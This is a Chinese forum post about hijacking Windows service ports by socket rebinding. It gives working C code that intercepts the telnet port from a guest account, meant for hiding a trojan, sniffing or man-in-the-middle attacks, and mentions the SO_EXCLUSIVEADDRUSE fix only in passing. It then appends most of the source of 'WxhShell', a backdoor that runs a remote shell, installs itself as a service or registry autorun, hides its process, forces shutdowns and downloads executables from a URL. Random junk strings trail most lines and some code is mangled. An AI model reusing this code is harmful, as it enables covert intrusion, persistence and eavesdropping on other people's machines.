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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: atO/Tp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v"dj%75O?e  
m"Y|xvIA  
  saddr.sin_family = AF_INET;  B Ji  
g` QbJ61a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]ZOzqh_0C  
`CXAE0Fx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j4G?=oDb  
;^j 2>Azn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $5)ZaYx<  
HC*V\vz  
  这意味着什么?意味着可以进行如下的攻击: d,9YrwbD  
)cX6o[oia  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X3j<HQcK  
j3`"9bY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !(EJ.|LH  
gM<*(=x'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N6BFs(  
J~[A8o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dkRG4 )~g  
:b_R1ZV|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 KvrcO#-sL  
^SouA[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1Goju ey  
y-iuOzq4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \y G//  
HFL(t]  
  #include w Kq-|yf,  
  #include _XqD3?yH4  
  #include _DK%-,Spu  
  #include    W6m oFn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <"" fJ`7  
  int main() D<2|&xaR  
  { .l->O-=  
  WORD wVersionRequested; :>K=kZ=k  
  DWORD ret; Ws;}D}+  
  WSADATA wsaData; aQK>q. t  
  BOOL val; aBO%qmtt  
  SOCKADDR_IN saddr; MWS=$N)v*  
  SOCKADDR_IN scaddr; 5`B ! 1  
  int err; qd FYf/y  
  SOCKET s; T*%Q s&x ;  
  SOCKET sc; PfI~`ke  
  int caddsize; buRK\C  
  HANDLE mt; ~fE6g3  
  DWORD tid;   Zw[A1!T,  
  wVersionRequested = MAKEWORD( 2, 2 ); BQ ol>VRu  
  err = WSAStartup( wVersionRequested, &wsaData ); prC1<rm  
  if ( err != 0 ) { }!-K)j.  
  printf("error!WSAStartup failed!\n"); *@|EaH/  
  return -1; D#T1~r4  
  } d+Vx:`tT  
  saddr.sin_family = AF_INET; :{d?B$  
   $Y!$I.+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q+/c+u?=^  
W7a aL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :-=,([TJ  
  saddr.sin_port = htons(23); os]P6TFFX?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o1"MW>B,4  
  { Z[DiLXHL  
  printf("error!socket failed!\n"); ;c'9Xyl-  
  return -1; "]dNN{Wka  
  } [4qx+ypT  
  val = TRUE;  0~{&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l0m\2Ttf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) rH9wRY(  
  { _z<y]?q  
  printf("error!setsockopt failed!\n"); .CClc(bO_/  
  return -1; ]Y'oxh  
  } |uT&`0T'e`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tkFGGc}w\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wsyG~^>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N|v3a>;*l  
n_Ht{2I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2[W1EQI  
  { 5y. n  
  ret=GetLastError(); S?W!bkfn  
  printf("error!bind failed!\n"); G &'eP  
  return -1; KrhAObK  
  } i>n.r_!E  
  listen(s,2); a$7}_kb  
  while(1) ?G[<~J3-E  
  { vxxa,KR/y  
  caddsize = sizeof(scaddr); y;+5cn C  
  //接受连接请求 XCNfogl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?d*0-mhQ,  
  if(sc!=INVALID_SOCKET) / -ebx~FX&  
  { :GU6v4u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l^s\^b=W  
  if(mt==NULL) qHGXs@*M&  
  { .!ThqYo  
  printf("Thread Creat Failed!\n"); { jnQoxN  
  break; *^XfEO  
  } '1lr "}"Q+  
  } 5 } 9}4e  
  CloseHandle(mt); L~yu  
  } G:f\wK[  
  closesocket(s); "#H@d+u  
  WSACleanup(); (o/HLmr@Y  
  return 0; S~QL x  
  }   =X(8 [ e  
  DWORD WINAPI ClientThread(LPVOID lpParam) m@hmu}qz-  
  { WKf->W  
  SOCKET ss = (SOCKET)lpParam; '/^bO#G:  
  SOCKET sc; 4~Ptn/ g  
  unsigned char buf[4096]; =qY!<DB[L  
  SOCKADDR_IN saddr; P=:mn>  
  long num; /P*mF^Y  
  DWORD val; #"^F:: b-  
  DWORD ret; SMr ]Gf.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i2ap]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4WV'\R+m  
  saddr.sin_family = AF_INET; VtX9}<Ch~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #On EQ:  
  saddr.sin_port = htons(23); lP>}9^7I!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vy-EY*r|  
  { 8Z TN  
  printf("error!socket failed!\n"); r)P^CZm  
  return -1; $EjM )  
  } 4J=6A4O5Z  
  val = 100; 3:Aw.-,i\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pA(B~9WQ  
  { \#P>k;D  
  ret = GetLastError();  D(}w$hi8  
  return -1; D];%Ey  
  } 4Gl0h'!(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EG<YxNX,  
  { KdT1Nb=  
  ret = GetLastError(); SF.4["$  
  return -1; s)#8>s-  
  } {{b&l!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MS~c  $  
  { C9-IJj  
  printf("error!socket connect failed!\n"); adG=L9 "n  
  closesocket(sc); nezdk=8J/  
  closesocket(ss); vEJ2d&  
  return -1; R;9H`L/>  
  } hlPZTr=a  
  while(1) I g/SaEF  
  { p`// *gl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8r^~`rL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pyEi@L1p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T:ye2yg  
  num = recv(ss,buf,4096,0); -aCtk$3  
  if(num>0) d'~sy>  
  send(sc,buf,num,0); Cx$M  
  else if(num==0) <szD"p|K  
  break; 6fvzTd},  
  num = recv(sc,buf,4096,0); >hcA:\UPk  
  if(num>0) ITj0u&H:  
  send(ss,buf,num,0); c[:OK9TH  
  else if(num==0) vkdU6CZO  
  break; ze!S4&B  
  } +8e~jf3E1  
  closesocket(ss); | ,bCYK  
  closesocket(sc); si.A"\bm  
  return 0 ; |oq27*ix~m  
  } 4q"x|}a  
aRBTuLa)fo  
}`g:) g J  
========================================================== [KA&KI^hF  
7 jq?zS|  
下边附上一个代码,,WXhSHELL ViV"+b#gu  
t+'|&b][Qi  
========================================================== c@RMy$RTF  
R:zPU   
#include "stdafx.h" +NGjDa  
K!/"&RjW.  
#include <stdio.h> Z:3N*YkL  
#include <string.h> +I$c+WfU  
#include <windows.h> B4^+&B#  
#include <winsock2.h> Ekx3GM_]  
#include <winsvc.h> o]0v#2l'  
#include <urlmon.h> ZMmaM "9  
l[=7<F  
#pragma comment (lib, "Ws2_32.lib") K31G>k@  
#pragma comment (lib, "urlmon.lib") FLI\SF<  
_3UH"9g{  
#define MAX_USER   100 // 最大客户端连接数 z;:c_y!f  
#define BUF_SOCK   200 // sock buffer 6QsH?!bu  
#define KEY_BUFF   255 // 输入 buffer 3L$_OXx  
w9I7pIIl  
#define REBOOT     0   // 重启 IYm~pXg^0  
#define SHUTDOWN   1   // 关机 TRwlUC3hQ  
B .p&,K  
#define DEF_PORT   5000 // 监听端口 f,9jK9/$  
(~F{c0 \C  
#define REG_LEN     16   // 注册表键长度 NG-Wn+W@b  
#define SVC_LEN     80   // NT服务名长度 fY@Y$S`Fh  
`}:q@: %  
// 从dll定义API JzD Mx?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W:q79u yX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5t]}(.0+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qms+s~oA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qbjBN z  
Dm=t`_DL8  
// wxhshell配置信息 ^|^ek  
struct WSCFG { :34#z.O  
  int ws_port;         // 监听端口 6AeX$>k+  
  char ws_passstr[REG_LEN]; // 口令 -lHSojq~H  
  int ws_autoins;       // 安装标记, 1=yes 0=no fj X~"U  
  char ws_regname[REG_LEN]; // 注册表键名 ZD{%0 uh  
  char ws_svcname[REG_LEN]; // 服务名 Xz)UH<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'Eds0"3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -x~h.s,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Xg:w;#r,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 74YMFI   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =a>a A Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QjH;'OVt  
y=i_:d0M  
}; ?! >B}e&,  
T'9I&h%\  
// default Wxhshell configuration &6fNPD(|  
struct WSCFG wscfg={DEF_PORT, _EeH  
    "xuhuanlingzhe", \u@4 eBAV  
    1, [(v?Z`cX\  
    "Wxhshell", %2Q:+6)  
    "Wxhshell", cU8Rm\?  
            "WxhShell Service", (Fq|hgOA>M  
    "Wrsky Windows CmdShell Service", s(*L V2fa  
    "Please Input Your Password: ", :5!>h8p;  
  1, Jlw<% }r  
  "http://www.wrsky.com/wxhshell.exe", 9{{QdN8  
  "Wxhshell.exe" 2N_8ahc  
    }; =}N&c4I[j  
G t 4| ]  
// 消息定义模块 {~.~ b+v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "&jA CI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )%rGD =2~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X|+o4R?  
char *msg_ws_ext="\n\rExit."; z @\C/wX  
char *msg_ws_end="\n\rQuit."; &$yC +cf  
char *msg_ws_boot="\n\rReboot..."; n4Fh*d ixg  
char *msg_ws_poff="\n\rShutdown..."; cIqk=_]  
char *msg_ws_down="\n\rSave to "; aty"6~  
4Q2=\-KFj  
char *msg_ws_err="\n\rErr!"; }7iWmXlI  
char *msg_ws_ok="\n\rOK!"; PI{;3X}9$,  
;J|sH>i  
char ExeFile[MAX_PATH]; JmDi{B?  
int nUser = 0; j^ L"l;m  
HANDLE handles[MAX_USER]; MhMY"bx8  
int OsIsNt; )cA#2mlS'1  
dQ6:c7hp>D  
SERVICE_STATUS       serviceStatus; |J: n'}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z-<091,  
f,:SI&c\  
// 函数声明 om%L>zfB  
int Install(void); );T0n  
int Uninstall(void);  pME17 af  
int DownloadFile(char *sURL, SOCKET wsh); ,|hM`<"?  
int Boot(int flag); ,lK=m~  
void HideProc(void); r[xj,eIb  
int GetOsVer(void); \_?A8F  
int Wxhshell(SOCKET wsl); _'9("m V  
void TalkWithClient(void *cs); OO?d[7Wt0  
int CmdShell(SOCKET sock); =O= 0 D  
int StartFromService(void); KT1/PWa  
int StartWxhshell(LPSTR lpCmdLine); oej5bAi  
Rh!B4oB4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MfNxd 6w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V1Yab#  
VC%{qal;q  
// 数据结构和表定义 ~R7F[R  
SERVICE_TABLE_ENTRY DispatchTable[] = >B)&mC$$S  
{ oRl~x^[%[-  
{wscfg.ws_svcname, NTServiceMain}, [JAHPy=+w  
{NULL, NULL} X v[5)4N  
}; 6&8([J  
yuyI)ebC  
// 自我安装 l*^J}oY  
int Install(void) W[trsFP1?  
{ ML6Y_|6 |  
  char svExeFile[MAX_PATH]; O$QtZE61  
  HKEY key; U5X\RXy~  
  strcpy(svExeFile,ExeFile);  lJaR,,  
j`JY3RDD  
// 如果是win9x系统,修改注册表设为自启动 /.1c <!  
if(!OsIsNt) { Dqss/vwV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0V*B3V<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sywSvnPuYZ  
  RegCloseKey(key); Hc?8Q\O:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A-5xgp,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Y=Cg%+  
  RegCloseKey(key); <A{|=2<  
  return 0; !cP2,l 'f  
    } ^)$(Fe<  
  } >*jcXao^  
} eVL #3|=  
else { AY]dwKw  
-$W#bqvz^  
// 如果是NT以上系统,安装为系统服务 Co|3k:I 8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0=N,y  
if (schSCManager!=0) s"u6po.'  
{ [ j'L *j  
  SC_HANDLE schService = CreateService y$,K^f  
  ( W+HiH`Qb]  
  schSCManager, )xJCH9h  
  wscfg.ws_svcname, aYTVYg  
  wscfg.ws_svcdisp, ^L}ICm_#  
  SERVICE_ALL_ACCESS, bf1Tky=/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ODvlix  
  SERVICE_AUTO_START, U^qQ((ek  
  SERVICE_ERROR_NORMAL, p mv6m  
  svExeFile, 0,1x- yD  
  NULL, W5C8$Bqm  
  NULL, {wUbr^  
  NULL, !O;su~7  
  NULL, 6T-h("t  
  NULL X`/3X}<$7  
  ); [bE-Uu7q5P  
  if (schService!=0) ,1xX`:  
  { #cHH<09 rl  
  CloseServiceHandle(schService); 9o)sSaTx=  
  CloseServiceHandle(schSCManager); @Z0?1+k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q7<%_a  
  strcat(svExeFile,wscfg.ws_svcname); Fjnp0:p9X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q]44A+M]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2x PkQOj3  
  RegCloseKey(key); %:yp>nm  
  return 0; Eb 8vnB#  
    } s &4k  
  } <x&0a$I  
  CloseServiceHandle(schSCManager); ie<zc+*rW  
} tX'`4!{@+  
} X#;n Gq)5  
4XL$I*;4  
return 1; U.XvS''E  
} k2bjBAT  
e"=/zZH3  
// 自我卸载 b/#SkxW#S  
int Uninstall(void) \<e?  
{ Q{+*F8%8V<  
  HKEY key; 2@TgeV0Y[  
hc"l^a!7ic  
if(!OsIsNt) { AN193o   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kSW=DE|#}  
  RegDeleteValue(key,wscfg.ws_regname); Lzr&Q(mL  
  RegCloseKey(key); F~bDA~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v,T :V#f^  
  RegDeleteValue(key,wscfg.ws_regname); " V[=U13  
  RegCloseKey(key); 9Hu;CKs  
  return 0; ? <F=*eS  
  } .[8! E_  
} "0*yD[2  
} w!/\dqjv  
else { ^$FNu~|K  
s<z`<^hRe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _ MsO2A  
if (schSCManager!=0) 2/WtOQI B  
{ _\/KI /  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mS$9D{  
  if (schService!=0) WdWMZh  
  { |Do+=Gr$t@  
  if(DeleteService(schService)!=0) { P}`|8b1W  
  CloseServiceHandle(schService); )2z<5 `  
  CloseServiceHandle(schSCManager); $Cgl$A  
  return 0; HZASIsl  
  } >-&B#Z^,  
  CloseServiceHandle(schService); 8k( zU>^  
  } -JKl\E  
  CloseServiceHandle(schSCManager); 34*73WxK  
} R"wBDWs  
} ='W=  
m&PfZ%'[  
return 1; MZ2/ks  
} kC,=E9)O  
saRYd{%+  
// 从指定url下载文件 f 7R/i  
int DownloadFile(char *sURL, SOCKET wsh) r|MBkpcvp  
{ 1'NJ[ C`  
  HRESULT hr; -R]Iu\  
char seps[]= "/"; vU,V[1^a  
char *token; &6feR#~A  
char *file; bUzo>fm_  
char myURL[MAX_PATH]; TS_5R>R3  
char myFILE[MAX_PATH]; PFKl6_(  
aM7e?.rU  
strcpy(myURL,sURL); cyMvjzzRN  
  token=strtok(myURL,seps); u1}/SlCp  
  while(token!=NULL) K N Y  
  { "|Ke/0rGB  
    file=token; f};RtRo2  
  token=strtok(NULL,seps); _2-fH  
  } *5QN:  
f7lt|.p  
GetCurrentDirectory(MAX_PATH,myFILE); =:M/hM)#  
strcat(myFILE, "\\"); QGCg~TV;  
strcat(myFILE, file); o&t*[#  
  send(wsh,myFILE,strlen(myFILE),0); ~|lEi1|  
send(wsh,"...",3,0); @3w6 !Sgh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *b}/fG)XZ  
  if(hr==S_OK) H|Y*TI2vf8  
return 0; U#iGR5&^3  
else &ir|2"HV  
return 1; +`J~c|(  
[+F6C  
} 3jqV/w[-  
#0"Pd8@  
// 系统电源模块 G$^u2wz.  
int Boot(int flag) <(!~s><.  
{ \N%L-%^  
  HANDLE hToken; f`s.|99Y  
  TOKEN_PRIVILEGES tkp; s/l>P~3=  
1gA^Qv~?  
  if(OsIsNt) { XtZeT~/7RT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]+k]Gbty6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Yu}[RXC(=  
    tkp.PrivilegeCount = 1; 4C#r=Uw`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j].=,M<dxE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S`Xx('!/|  
if(flag==REBOOT) { }Ug O$1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A-eRL`  
  return 0; !X5LgMw^;  
} aBd>.]l?  
else { qOTo p-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j5gL 67B  
  return 0; `Hx JE"/  
} _ea|E  8  
  } wX4gyr  
  else { +h)1NX;o1  
if(flag==REBOOT) { U]]ON6Y&F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ae#Qeow`  
  return 0; X:/7#fcG8  
} F-X L  
else { FvJkb!5*e_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cCuK?3V4K  
  return 0; O@>ZYA%  
} &R))c|>OT&  
}  /M@[ 8  
FfX*bqy  
return 1; NI:3hfs  
} YO9ofT  
C"0vMUZ  
// win9x进程隐藏模块 K8JshF Ie  
void HideProc(void) 5^97#;Q;J"  
{ ,_UTeW6M  
1{<r~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +w2 `  
  if ( hKernel != NULL ) l*z+<c6$_  
  { KJ7-Vl>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `)tIXMn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  \62!{  
    FreeLibrary(hKernel); d3]<'B:nb  
  } >rYkVlv  
P9o=G=i  
return; >x1yFwX}-f  
} 7fC:' 1]G  
1=_Qj}!1  
// 获取操作系统版本 [;Jq=G8&t  
int GetOsVer(void) z?t75#u9.  
{ goOw.~dZ'  
  OSVERSIONINFO winfo; -cWGF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !A:d9 k  
  GetVersionEx(&winfo); d f j;e%H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]m :Y|,:6  
  return 1; n= q7*<l  
  else d/[kky}  
  return 0; :rU,7`sE/  
} 6@VgLa,  
-br): }f  
// 客户端句柄模块 C{>dE:*K^  
int Wxhshell(SOCKET wsl) fizL_`uMqb  
{ iEx4va-j  
  SOCKET wsh; o;u~Yg  
  struct sockaddr_in client; **.g^Pyc  
  DWORD myID; AHU =`z  
PDS?>Jg(  
  while(nUser<MAX_USER) cEIs9;  
{ c5Hyja=  
  int nSize=sizeof(client); TSH'OW !b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X.V4YmZ- ;  
  if(wsh==INVALID_SOCKET) return 1; */OKg;IMi  
B%WkM\\!^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lf\^!E:  
if(handles[nUser]==0) ; Kh!OBZFo  
  closesocket(wsh); nwVW'M]r  
else 4>Y*owa4  
  nUser++; Nj.;mr<  
  } l(HxZlHr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TU*Y?D L  
j XYr&F  
  return 0; 3a'#Z4Z-  
} <rFh93  
=z4J[8bb  
// 关闭 socket <cFj-Ys(T  
void CloseIt(SOCKET wsh) M6j~`KSE  
{ }S;A%gYm  
closesocket(wsh); w3&L 6|,  
nUser--; qFI19`?8E  
ExitThread(0); &YBZuq2?  
} kz G W/  
`i!fg\qnK  
// 客户端请求句柄 V ONC<wC  
void TalkWithClient(void *cs) V@nZ_.  
{ L9]d$ r"  
Fw8b^ew  
  SOCKET wsh=(SOCKET)cs; ;u=%Vn"2a  
  char pwd[SVC_LEN]; (o^?i2)g  
  char cmd[KEY_BUFF]; !gcea?I  
char chr[1]; @SI,V8i  
int i,j; !R![:T\,  
QZ+G2$  
  while (nUser < MAX_USER) { /I:&P Pff  
YRCOh:W*  
if(wscfg.ws_passstr) { RN$>!b/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z3{Cp:Mn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HP\5gLVXY  
  //ZeroMemory(pwd,KEY_BUFF);  6),!sO?  
      i=0; g""Ep  
  while(i<SVC_LEN) { _}cD_$D  
J06 D_'{  
  // 设置超时 yG;@S8zC  
  fd_set FdRead; I]%Kd('  
  struct timeval TimeOut; 0es\ j6c  
  FD_ZERO(&FdRead); EeGTBVms  
  FD_SET(wsh,&FdRead); _j*a5fsPU  
  TimeOut.tv_sec=8; tns4e\  
  TimeOut.tv_usec=0; i0Rj;E=:]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $&&+2?cx0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <*9(m  
bwa*|{R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W\<HUd  
  pwd=chr[0]; bq9/ d4  
  if(chr[0]==0xd || chr[0]==0xa) { )iJv?Y\]  
  pwd=0; xz~Y %Y|Z  
  break; av_ +M;G  
  } z0%tBgqY(  
  i++; hVl@7B~  
    } vpC?JXz=H  
/t*Q"0X5  
  // 如果是非法用户,关闭 socket fYW9Zbov-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n:f&4uKoG<  
} =G !]_d0  
^9><qKbO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /.~zk(-&h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '2UQN7@d  
06?d#{?M1o  
while(1) { bz1AmNZG  
sY1.z5"Mm  
  ZeroMemory(cmd,KEY_BUFF); 50`|#zF^#  
RRQIlI<  
      // 自动支持客户端 telnet标准   nTD4^'  
  j=0; 57q?:M=^  
  while(j<KEY_BUFF) { 8c>xgFWp9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C;%dZ  
  cmd[j]=chr[0]; 5hh6;)  
  if(chr[0]==0xa || chr[0]==0xd) { LnM$@  
  cmd[j]=0; ;%k C?Vzi  
  break; xZY7X&C4  
  } $R+rB;=a!  
  j++; <AK9HPxP  
    } .Hk.'>YR  
R7KV @n  
  // 下载文件 :i|]iXEI"  
  if(strstr(cmd,"http://")) {  y(#6nG@S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o' v!83$L  
  if(DownloadFile(cmd,wsh)) yivWT;`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~SmFDg$/m  
  else ZUvc|5]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7fXJP5j  
  } )1YX+',"  
  else { 2.\"Q  
+DO<M1uE  
    switch(cmd[0]) { \#IKirf?  
  3`)ej`  
  // 帮助 G&t|aY-   
  case '?': { X\>/'fC$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qz.l  
    break; U$S{j&?  
  } g1:%986jv  
  // 安装 H7k@Br  
  case 'i': { 3w"_Onwk  
    if(Install()) L$rr:^J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t/3HX]B_  
    else $sUn'62JlU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F)Z9Qlo  
    break; &C)97E  
    } bAy\Sr #/  
  // 卸载 oX'@,(6)  
  case 'r': { x 0#u2j?zj  
    if(Uninstall()) 3_ .%NgES|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LOr(HgyC  
    else BR_fOIDc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hc|#JS2H@y  
    break; fn.;C  
    } ~N7;. 3 7  
  // 显示 wxhshell 所在路径 AX{7].)F  
  case 'p': { 4#:C t* f  
    char svExeFile[MAX_PATH]; SBdd_Fn  
    strcpy(svExeFile,"\n\r"); ; ), ,Hk  
      strcat(svExeFile,ExeFile); E}THG=6  
        send(wsh,svExeFile,strlen(svExeFile),0); hztqZ:  
    break; hm k ~  
    } [_}8Vv&6  
  // 重启 Rf2mBjJ(z  
  case 'b': { /a9CqK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WJ LqH<  
    if(Boot(REBOOT)) }%<_>b\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9XhH*tBn7(  
    else { M%RH4%NZ0  
    closesocket(wsh); &pR 8sySu  
    ExitThread(0); _Vf>>tuW  
    } #?,"/Btq  
    break; 8EX?/33$  
    } 3g5r}Ug  
  // 关机 l;&kX6 w  
  case 'd': { Do5.  
